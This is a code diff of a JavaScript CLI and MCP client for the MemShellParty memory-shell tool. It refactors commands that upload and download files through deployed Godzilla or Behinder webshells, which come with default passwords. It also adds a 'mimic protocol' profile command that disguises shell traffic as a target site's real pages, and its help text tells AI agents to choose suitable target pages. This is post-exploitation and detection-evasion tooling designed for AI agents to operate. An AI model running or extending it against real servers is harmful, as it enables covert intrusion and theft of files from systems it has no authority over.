@@ -2468,18 +3689,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
       );
     }
     target = name;
-  } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
+  } else if (existsSync5(localArg) && statSync(localArg).isDirectory()) {
     if (!name) {
       throw new Error(
         `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
       );
     }
-    target = join4(localArg, name);
+    target = join6(localArg, name);
   } else {
     target = localArg;
   }
   const abs = resolve(target);
-  if (existsSync3(abs)) {
+  if (existsSync5(abs)) {
     if (statSync(abs).isDirectory()) {
       throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
     }
@@ -2488,13 +3709,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
     }
   }
   const parent = dirname3(abs);
-  if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
+  if (!existsSync5(parent) || !statSync(parent).isDirectory()) {
     throw new Error(`local directory ${parent} does not exist`);
   }
   return abs;
 }
 function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
-  if (!existsSync3(localPath)) {
+  if (!existsSync5(localPath)) {
     throw new Error(`local file ${localPath} does not exist`);
   }
   const stat = statSync(localPath);
@@ -2506,7 +3727,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
       `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
     );
   }
-  return readFileSync6(localPath);
+  return readFileSync8(localPath);
 }
 
 // src/version.ts
@@ -2979,7 +4200,7 @@ function createMcpServer(client) {
         }
         if (result.ok && result.data !== void 0) {
           try {
-            writeFileSync3(localPath, result.data);
+            writeFileSync5(localPath, result.data);
           } catch (err) {
             result = {
               ...result,
@@ -3272,7 +4493,7 @@ function registerMcpCommand(program) {
 }
 
 // src/commands/parse-classname.ts
-import { readFileSync as readFileSync7 } from "fs";
+import { readFileSync as readFileSync9 } from "fs";
 function registerParseClassNameCommand(program) {
   program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
     "after",
@@ -3285,7 +4506,7 @@ Examples:
   ).action(async (base64, opts, cmd) => {
     let classBase64;
     if (opts.file) {
-      classBase64 = readFileSync7(opts.file).toString("base64");
+      classBase64 = readFileSync9(opts.file).toString("base64");
     } else if (base64) {
       classBase64 = base64.trim();
     } else {
@@ -3490,6 +4711,88 @@ The server name reported by '-c Server' is the value to pass as
   });
 }
 
+// src/commands/profile.ts
+function registerProfileCommand(program) {
+  const cmd = program.command("profile").description("Manage site profiles for the mimic protocol (init / list / show / check)");
+  cmd.command("init").description("Write a skeleton profile JSON for hand-authoring").argument("<name>", "profile name (letters, digits, '.', '_', '-')").requiredOption("--site <origin>", "site origin, e.g. http://target:8080").option("--json", "output raw JSON").action((name, opts) => {
+    try {
+      const profile = profileSkeleton(name, opts.site);
+      saveProfile(profile);
+      if (opts.json) {
+        process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}
+`);
+      } else {
+        process.stdout.write(
+          `profile skeleton written -> ${profilePath(name)}
+now edit it: paste a real page's HTML into "template", set "title",
+and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).
+AI agents: read the site's pages yourself and pick a high-traffic,
+self-contained page \u2014 see the "Site-mimicking traffic (mimic protocol)"
+section of the memshell-party skill.
+`
+        );
+      }
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+    }
+  });
+  cmd.command("list").description("List saved profiles").option("--json", "output raw JSON").action((opts) => {
+    const names = listProfiles();
+    if (opts.json) {
+      process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}
+`);
+    } else {
+      process.stdout.write(names.length > 0 ? `${names.join("\n")}
+` : "(no profiles yet)\n");
+    }
+  });
+  cmd.command("show").description("Print a saved profile").argument("<name>", "profile name").option("--json", "output raw JSON (default)").action((name) => {
+    try {
+      const profile = loadProfile(name);
+      process.stdout.write(`${JSON.stringify(profile, null, 2)}
+`);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), []);
+      process.exitCode = 1;
+    }
+  });
+  cmd.command("check").description("Validate a saved profile (schema + basic sanity), exit 0 when valid").argument("<name>", "profile name").option("--json", "output raw JSON").addHelpText(
+    "after",
+    `
+Examples:
+  $ memparty profile check acme
+  $ memparty profile check acme --json
+`
+  ).action((name, opts) => {
+    try {
+      const profile = loadProfile(name);
+      if (opts.json) {
+        process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}
+`);
+      } else {
+        const templates = profileTemplates(profile);
+        const lines = templates.map(
+          (t, i) => `  tpl[${i}]:  ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`
+        );
+        const shapes = profileRequests(profile).map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`).join(", ");
+        const requestLine = shapes ? `  request:  ${shapes}
+` : "";
+        process.stdout.write(
+          `profile '${name}' is valid
+  site:     ${profile.site}
+${lines.join("\n")}
+` + requestLine + `  paths:    ${profile.paths.join("  ") || "(none \u2014 --dynamic-path will be a no-op)"}
+`
+        );
+      }
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+    }
+  });
+}
+
 // src/commands/target.ts
 import { Option as Option6 } from "commander";
 function parseExtraHeaders3(lines) {
@@ -3687,7 +4990,7 @@ save is for choosing the name by hand.
 }
 
 // src/commands/transfer.ts
-import { writeFileSync as writeFileSync4 } from "fs";
+import { writeFileSync as writeFileSync6 } from "fs";
 import { Option as Option7 } from "commander";
 function parseExtraHeaders4(lines) {
   const headers = {};
@@ -3759,9 +5062,9 @@ function printResult(result, localPath, savedAs, json) {
   }
 }
 function registerDownloadCommand(program) {
-  program.command("download").description("Download a file from a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
-  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
+  program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
+    new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
+  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
   ).option(
@@ -3809,31 +5112,24 @@ is never overwritten unless --force is given.
       return;
     }
     let result;
-    switch (conn.tool) {
-      case "godzilla":
-        result = await downloadGodzilla(
-          conn.url,
-          conn.pass ?? "pass",
-          conn.key ?? "key",
-          remotePath,
-          { ...common, remoteCharset: opts.remoteCharset }
-        );
-        break;
-      case "behinder":
-        result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
-        break;
-      default:
-        process.stderr.write(
-          `Error: download supports godzilla | behinder (got ${String(conn.tool)})
-`
-        );
+    try {
+      const protocol = requireProtocol(conn.tool);
+      if (!protocol.download) {
+        reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
         process.exitCode = 1;
         return;
+      }
+      const options = { remoteCharset: opts.remoteCharset };
+      result = await protocol.download({ conn, common, options }, remotePath);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     let writeError;
     if (result.ok && result.data !== void 0) {
       try {
-        writeFileSync4(localPath, result.data);
+        writeFileSync6(localPath, result.data);
       } catch (err) {
         writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
         result = { ...result, ok: false, error: writeError };
@@ -3857,9 +5153,9 @@ is never overwritten unless --force is given.
   });
 }
 function registerUploadCommand(program) {
-  program.command("upload").description("Upload a local file to a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
-  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
+  program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
+    new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
+  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
   ).option(
@@ -3908,27 +5204,19 @@ chunk aborts the transfer \u2014 the remote file may be left partial.
       return;
     }
     let result;
-    switch (conn.tool) {
-      case "godzilla":
-        result = await uploadGodzilla(
-          conn.url,
-          conn.pass ?? "pass",
-          conn.key ?? "key",
-          remotePath,
-          data,
-          { ...common, remoteCharset: opts.remoteCharset }
-        );
-        break;
-      case "behinder":
-        result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
-        break;
-      default:
-        process.stderr.write(
-          `Error: upload supports godzilla | behinder (got ${String(conn.tool)})
-`
-        );
+    try {
+      const protocol = requireProtocol(conn.tool);
+      if (!protocol.upload) {
+        reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
         process.exitCode = 1;
         return;
+      }
+      const options = { remoteCharset: opts.remoteCharset };
+      result = await protocol.upload({ conn, common, options }, remotePath, data);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
     logOp({
@@ -4083,7 +5371,7 @@ async function startRepl(build) {
 
 // src/cli.ts
 function buildProgram() {
-  const program = new Command9();
+  const program = new Command10();
   program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
     "--api <url>",
     `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -4112,6 +5400,9 @@ Every subcommand has its own examples: memparty <command> --help
   registerTargetCommand(program);
   registerLogCommand(program);
   registerParseClassNameCommand(program);
+  registerProfileCommand(program);
+  registerCustomCommand(program);
+  registerDemoCommand(program);
   registerVersionCommand(program);
   registerMcpCommand(program);
   return program;